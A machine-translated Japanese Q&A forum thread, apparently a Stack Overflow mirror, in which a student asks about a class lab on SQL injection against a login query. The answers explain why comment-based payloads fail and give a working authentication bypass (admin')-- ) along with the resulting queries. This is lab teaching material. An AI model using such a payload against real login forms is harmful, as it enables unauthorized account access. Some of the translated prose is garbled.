2017-04-09 13 views
0

私たちはクラスのラボに取り組んでいます。私が紛失しているものは見つからないようです。SQLインジェクションのトラブル

WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’"); 

たちは、基本的に想定している、それを利用するために:私たちは、私は嘘を信じているSQLインジェクションの脆弱性を見つけることになっている

$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, 
    FROM USERS_TABLE 
    WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’"); 
    $chk = mysql_fetch_array($sel1); 
    if (found one record) 
    then {allow the user to login} 

:次のコードは、ユーザーを認証するためにSQLクエリをありますかなり一般的なユーザー名とパスワード形式でWebサイトの管理者プロファイルにログインしてください。与えられた情報は、プロフィール名がadminであることを知っていることです。そして、私たちは、ウェブサイト上のユーザー名入力だけを利用することになっています。グルジアWeidmanでハッキングには、次の資料Security Idiotsと書籍侵入テストAハンズオンはじめのうちのセクションを読んだ後

。 -

  • 管理者 'AND 1 = 1--
  • とのより多くのバリエーション

    • 管理者OR 1--
    • 管理者':これらは私が試した事のいくつかでありますこの。私の理解は、「 ''」でそのセクションを完成させる管理者プロファイルを選択してから、その行のコードの残りを強制的に強制終了させることです。しかし、私が試したことは何も働いていないようです。

      このラボでは、この攻撃を有効にする特別な構成の仮想マシンがあることにも注意してください。

      私は正しい軌道にいるか、SQLインジェクション攻撃の背後にあるロジックを理解していません。私は必ずしも私が探しているコードが何であるかを探しているわけではないが、私は間違った方向に向かっていて何かが足りないと心配している。

      ご迷惑をおかけして申し訳ありません。そして、私は何かを詳しく説明してくれるでしょう。 ありがとうございます。

    +0

    'admin 'を試してください) - '質問のsqlが正しいことも確かですか?'性別、FROM USERS_TABLE'は' FROM'の前にコンマを入れてはいけません –

    +0

    残念ながら、そのユーザー名のエントリにはサイコロもありません。そして私はもともとラボの指示書からそのコードをコピーしました。実際にはファイルそのものではないので、指示に誤りがあった可能性があります。ファイルの場所が指定されていません。これは悪用に影響を及ぼしますか?いくつかの学生がDropbox提出に従ってそれを完了したので、コードは操作可能でなければなりません。したがって、ファイル内に想像しているカンマがないと思われる場合は、それは存在しません。 – Codey

    +0

    'FROM'の前にカンマがあると、SQLエラーです。しかし、コードが正しく動作していると確信しているので、それは単にタイプミスです。 –

    答えて

    0

    スペースの問題を指摘してくれたAziに感謝します。

    SQLあなた割れることになっuser変数は、これらの入力で置換されていますとき、文はすべて

    SELECT ID, name, locale, lastlogin, gender 
    FROM USERS_TABLE 
    WHERE (name = 'admin' OR 1-- ' OR email = '$user') AND pass = '$pass' 
    
    SELECT ID, name, locale, lastlogin, gender 
    FROM USERS_TABLE 
    WHERE (name = 'admin'-- ' OR email = ’$user’) AND pass = ’$pass’ 
    
    SELECT ID, name, locale, lastlogin, gender 
    FROM USERS_TABLE 
    WHERE (name = 'admin' AND 1=1-- ' OR email = ’$user’) AND pass = ’$pass’ 
    

    になるのでadmin' AND 1=1--が動作しない、

    SELECT ID, name, locale, lastlogin, gender 
    FROM USERS_TABLE 
    WHERE (name = '$user' OR email = '$user') AND pass = '$pass' 
    

    admin' OR 1--のいずれも、admin'--ました開いている括弧(が閉じていないため、構文エラーです。

    あなたがadmin'--を与える(あなたの入力の末尾にスペースを与えることが重要である)、入力文が

    SELECT ID, name, locale, lastlogin, gender 
    FROM USERS_TABLE 
    WHERE (name = 'admin')-- ' OR email = ’$user’) AND pass = ’$pass’" 
    

    なっSQLには、構文エラーを持っていないし、管理者として名前を持つレコードを選択します。

    +0

    @Aziスペースの問題を指摘していただきありがとうございます。それは最初にArun 'admin'をしようとするときには私の問題だったに違いない) - '。私はすべてのフィードバックすべてに感謝します。 – Codey

    関連する問題